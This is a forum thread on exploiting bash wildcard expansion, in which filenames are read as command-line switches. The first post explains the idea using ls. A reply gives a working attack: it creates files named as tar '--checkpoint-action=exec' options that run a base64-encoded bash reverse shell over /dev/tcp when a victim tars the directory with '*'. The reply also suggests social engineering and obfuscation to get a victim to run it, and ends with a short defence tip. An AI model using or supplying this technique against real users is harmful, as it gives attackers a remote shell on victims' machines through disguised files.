Exploiting Wildcard Expansion on Linux

[kenjoe41]

Wildcard Expansion
When you type a command with a "*" in bash, bash expands it to the list of all files in the directory and passes them all as arguments to the program. For example, "rm *", will remove files in the current directory.

Filenames Misinterpreted as Switches
Most command line programs can take switches that affect how they work. For example, the ls command, when ran without any switches, looks like the output below.

[stephen@superX foo]$ ls
asdf.txt  foobar  -l
Now let's say you want to know what group and user owns these files. You can pass "-l" to the ls program to figure that out, which looks like this:

[stephen@superX foo]$ ls -l
total 0
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 -l
Notice there is a file named -l in our directory. Let's try "ls *" now and see what happens:

[stephen@superX foo]$ ls *
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar
The last two outputs are similar, but the output of "ls *" is different. It is missing the "-l" file, which was interpreted by ls as the "-l" switch. There's no way for the ls program to tell that the "-l" came from the wildcard expansion and wasn't actually what we in intended. It's equivalent to running:

[stephen@superX foo]$ ls asdf.txt foobar.txt -l
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 asdf.txt
-rw-r--r-- 1 stephen stephen 0 Jun 20 19:10 foobar

Security Problems
Misinterpreted filenames can lead to problems when someone runs a wildcard expansion on a folder they download from the Internet, for example, without first checking the filenames. Could this be used to attack someone's computer? Can we make a program do something bad by having specially-named files in the directory? Yes, it turns out that we can.

Read More:
https://dicesoft.net/projects/wildcard-code-execution-exploit.htm

[like2code]

Thanks for remembering me about this. +1
I played around a bit and another exploitation approach would be abusing tars --check-point-action flag.
This example spawns a reverse shell and requires bash on the target machine.

1. Create some file in THATDIR with interesting names.
Change the address and port of course.

Code: (bash) [Select]

mkdir THATDIR; cd THATDIR
touch foo && touch ./"--checkpoint=1" && touch ./--checkpoint-action=exec="echo `echo '(bash >& /dev/tcp/127.0.0.1/8080 0>&1) 2>/dev/null &' | base64 -w 0` | base64 -d | bash"As our reverse shell spawner contains '/' which is the only (?) forbidden sign in file names i base64 encode it.
This leads to something like this:

Code: (bash) [Select]

user@user:~/THATDIR$ ls -l
-rw-r--r-- 1 user user 0 Jun 29 16:43 --checkpoint=1
-rw-r--r-- 1 user user 0 Jun 29 16:43 --checkpoint-action=exec=echo KGJhc2ggPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzgwODAgMD4mMSkgMj4vZGV2L251bGwgJgo= | base64 -d | bash
-rw-r--r-- 1 user user 0 Jun 29 16:43 foo
2. Now our target need to download this files and tar this directory
Possible following a tutorial (SE might be useful here).
Let the user execute something like this:

Code: (bash) [Select]

cd THATDIR; tar -cf ../SOMENAME.tar *; cd ..
3. Enjoy your shell

I think this approach might work in combination with SE and hidden in a bunch of other steps.
The file name could ofc. be obfuscated somehow.

To defend against this attack, you should ofc. read sources and don't just copy+paste code, but doing a 'tar ... ./*' instead of 'tar ... *' would work in this case too.